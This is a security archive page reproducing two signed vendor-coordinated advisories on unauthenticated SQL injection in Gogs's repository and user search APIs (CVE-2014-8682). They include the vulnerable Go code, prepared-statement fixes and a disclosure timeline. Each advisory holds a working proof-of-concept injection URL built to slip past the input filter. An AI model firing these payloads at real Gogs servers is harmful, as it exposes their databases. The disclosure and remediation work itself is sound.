exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Gogs Repository Search SQL Injection

Gogs Repository Search SQL Injection
Posted Nov 14, 2014
Authored by Pascal Turbing, Jiahua Chen

Gogs suffers from a remote unauthenticated SQL injection vulnerability via repository search. Versions 0.3.1-9-g49dc57e through 0.5.6.1104-g0c5ba45 are affected.

tags | exploit, remote, sql injection
advisories | CVE-2014-8682
SHA-256 | 75a30ce63d077066f565a7c16174dcf041cb8db82fd902166167eaf3fedc1808

Gogs Repository Search SQL Injection

Change Mirror Download

-----BEGIN PGP SIGNED MESSAGE-----
Hash: RIPEMD160

Unauthenticated SQL Injection in Gogs repository search
=======================================================
Researcher: Timo Schmid <tschmid@ernw.de>


Description
===========
Gogs(Go Git Service) is a painless self-hosted Git Service written in
Go. (taken
from [1])

It is very similiar to the github hosting plattform. Multiple users can
create
multiple repositories and share code with others with the git version
control
system. Repositories can be marked as public or private to prevent
access from
unauthorized users.

Gogs provides an api view to give javascript code the possibility to
search for
existing repositories in the system. This view is accessible at
/api/v1/repos/search?q=<search query>.

The q Parameter of this view is vulnerable to SQL injection.


Exploitation Technique
======================
Remote


Severity Level
==============
Critical


CVSS Base Score
===============
8.3 (AV:N / AC:M / Au:N / C:C / I:P / A:P)


CVE-ID
======
CVE-2014-8682

Impact
======
The vulnerability results at least in a complete compromise of the database.
Depending on the particular database configuration a compromise of the
system
is also possible.


Status
======
Fixed by Vendor


Vulnerable Code Section
=======================
models/repo.go:
[...]
// SearchRepositoryByName returns given number of repositories whose name
contains keyword.
func SearchRepositoryByName(opt SearchOption) (repos []*Repository, err
error) {
// Prevent SQL inject.
opt.Keyword = FilterSQLInject(opt.Keyword)
if len(opt.Keyword) == 0 {
return repos, nil
}
opt.Keyword = strings.ToLower(opt.Keyword)

repos = make([]*Repository, 0, opt.Limit)

// Append conditions.
sess := x.Limit(opt.Limit)
if opt.Uid > 0 {
sess.Where("owner_id=?", opt.Uid)
}
if !opt.Private {
sess.And("is_private=false")
}
sess.And("lower_name like '%" + opt.Keyword + "%'").Find(&repos)
return repos, err
}
[...]

The vulnerability exists because of a string concatination in the SQL
query with
user supplied data. Because of the SQL filter at the method entry, attackers
can't use spaces (0x20) and since v0.5.6.1025-g83283b commas are also
filtered.


Proof of Concept
================
Request:
http://www.example.com/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09
(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09
user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null)
%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09
as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as
%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09
a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09
JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN
%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN
%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN
%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN
%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN
%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27

Response:
{"data":[{"repolink":"bluec0re/test"},{"repolink":"bluec0re/secret"},{"repolink"
:"bluec0re/root@localhost"}],"ok":true}


Solution
========
This vulnerability could easily be fixed by using prepared statements:

sess.And("lower_name like ?", "%" + opt.Keyword + "%").Find(&repos)

Update to version 0.5.6.1105.


Affected Versions
=================
>= v0.3.1-9-g49dc57e
<= v0.5.6.1104-g0c5ba45


Timeline
========
2014-09-25: Developer informed
2014-10-16: Contact of developer regarding fix
2014-10-25: Working together with developer on fix
2014-11-03: Contacted developer
2014-11-04: Fixed in master branch
2014-11-14: CVE-ID assigned


Credits
=======
Pascal Turbing <pturbing@ernw.de>
Jiahua (Joe) Chen <u@gogs.io>


References
==========Update to version 0.5.6.1105.
[1] https://github.com/gogits/gogs
[2] http://gogs.io/
[3]
http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-1/
[4]
http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-2/
[5]
http://www.insinuator.net/2012/06/sql-injection-testing-for-business-purposes-part-3/
[6] https://www.ernw.de/download/BC-1402.txt


Advisory-ID
===========
BC-1402


Disclaimer
==========
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO
warranties, implied or otherwise, with regard to this information or its
use.
Any use of this information is at the user's risk. In no event shall the
author/
distributor be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information.



Unauthenticated SQL Injection in Gogs user search
=================================================
Researcher: Timo Schmid <tschmid@ernw.de>


Description
===========
Gogs(Go Git Service) is a painless self-hosted Git Service written in
Go. (taken
from [1])

It is very similiar to the github hosting plattform. Multiple users can
create
multiple repositories and share code with others with the git version
control
system. Repositories can be marked as public or private to prevent
access from
unauthorized users.

Gogs provides an api view to give javascript code the possibility to
search for
existing users in the system. This view is accessible at
/api/v1/users/search?q=<search query>.

The q Parameter of this view is vulnerable to SQL injection.


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


CVSS Base Score
===============
8.3 (AV:N / AC:M / Au:N / C:C / I:P / A:P)


CVE-ID
======
CVE-2014-8682


Impact
======
The vulnerability results at least in a complete compromise of the database.
Depending on the particular database configuration a compromise of the
system
is also possible.


Status
======
Fixed by Vendor


Vulnerable Code Section
=======================
models/user.go:
[...]
// SearchUserByName returns given number of users whose name contains
keyword.
func SearchUserByName(opt SearchOption) (us []*User, err error) {
opt.Keyword = FilterSQLInject(opt.Keyword)
if len(opt.Keyword) == 0 {
return us, nil
}
opt.Keyword = strings.ToLower(opt.Keyword)

us = make([]*User, 0, opt.Limit)
err = x.Limit(opt.Limit).Where("type=0").And("lower_name like '%" +
opt.Keyword + "%'").Find(&us)
return us, err
}
[...]

The vulnerability exists because of a string concatination in the SQL
query with
user supplied data. Because of the SQL filter at the method entry, attackers
can't use spaces (0x20) and since v0.5.6.1025-g83283b commas are also
filtered.


Proof of Concept
================
Request:
http://www.example.com/api/v1/users/search?q='/**/and/**/false)/**/union/**/
select/**/null,null,@@version,null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from
/**/mysql.db/**/where/**/('%25'%3D'

Response:
{"data":[{"username":"5.5.40-0ubuntu0.14.04.1","avatar":
"//1.gravatar.com/avatar/"}],"ok":true}


Solution
========
This vulnerability could easily be fixed by using prepared statements:

err = x.Limit(opt.Limit).Where("type=0").And("lower_name like ?", "%" +
opt.Keyword + "%").Find(&us)

Update to version 0.5.6.1105.


Affected Versions
=================
>= v0.3.1-9-g49dc57e
<= v0.5.6.1104-g0c5ba45


Timeline
========
2014-09-25: Developer informed
2014-10-16: Contact of developer regarding fix
2014-10-25: Working together with developer on fix
2014-11-03: Contacted developer
2014-11-04: Fixed in master branch
2014-11-14: CVE-ID assigned


Credits
=======
Pascal Turbing <pturbing@ernw.de>
Jiahua (Joe) Chen <u@gogs.io>


References
==========
[1] https://github.com/gogits/gogs
[2] http://gogs.io/
[3]
http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-1/
[4]
http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-2/
[5]
http://www.insinuator.net/2012/06/sql-injection-testing-for-business-purposes-part-3/
[6] https://www.ernw.de/download/BC-1403.txt


Advisory-ID
===========
BC-1403


Disclaimer
==========
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO
warranties, implied or otherwise, with regard to this information or its
use.
Any use of this information is at the user's risk. In no event shall the
author/
distributor be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information.


- --
Timo Schmid

ERNW GmbH, Carl-Bosch-Str. 4, 69115 Heidelberg - www.ernw.de
Tel. +49 6221 480390 - Fax 6221 419008 - Cell +49 151 16227192
PGP-FP 971B D4F7 5DD1 FCED 11FC 2C61 7AB6 927D 6F26 6CE0

Handelsregister Mannheim: HRB 337135
Geschaeftsfuehrer: Enno Rey

==============================================================
|| Blog: www.insinuator.net | | Conference: www.troopers.de ||
==============================================================
================== TROOPERS15 ==================
* International IT Security Conference & Workshops
* 16th - 20st March 2015 / Heidelberg, Germany
* www.troopers.de
====================================================
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQEcBAEBAwAGBQJUZlFzAAoJEHq2kn1vJmzgK5wH/1R10U9qNTcEGBv0R3L5VEyN
29r8ViIQi2zfhC3zCQW/xpSJSrqyNaybwJgrF8B3JHTnGavkLSWgwAhiy/cB0b+A
/L/AV2dtvFj/S3pcCdBJwVMKixmOUAhDHuI82Opao+nMRjmMJvODYfpwBMxFBLYf
ZI7lhxm+R7eKGuIcL6dCXHN4QoukSTmRK6iwbswEwth8cOFBoxK/WRkuEytJ0aB9
g865IWCkloJQtht8A6AjnDm7om7drhcbL+NEXcbBg7LL8S//bFMF9EHdll4h7ueG
5HMZyfpzVctDola62u7wKqq56PzJoG6nU61S3020gkeNP8HlNGf8K7gM5lQjKzs=
=x03c
-----END PGP SIGNATURE-----




Login or Register to add favorites

File Archive:

June 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    19 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    28 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    19 Files
  • 7
    Jun 7th
    23 Files
  • 8
    Jun 8th
    11 Files
  • 9
    Jun 9th
    10 Files
  • 10
    Jun 10th
    4 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    27 Files
  • 20
    Jun 20th
    65 Files
  • 21
    Jun 21st
    10 Files
  • 22
    Jun 22nd
    8 Files
  • 23
    Jun 23rd
    6 Files
  • 24
    Jun 24th
    6 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close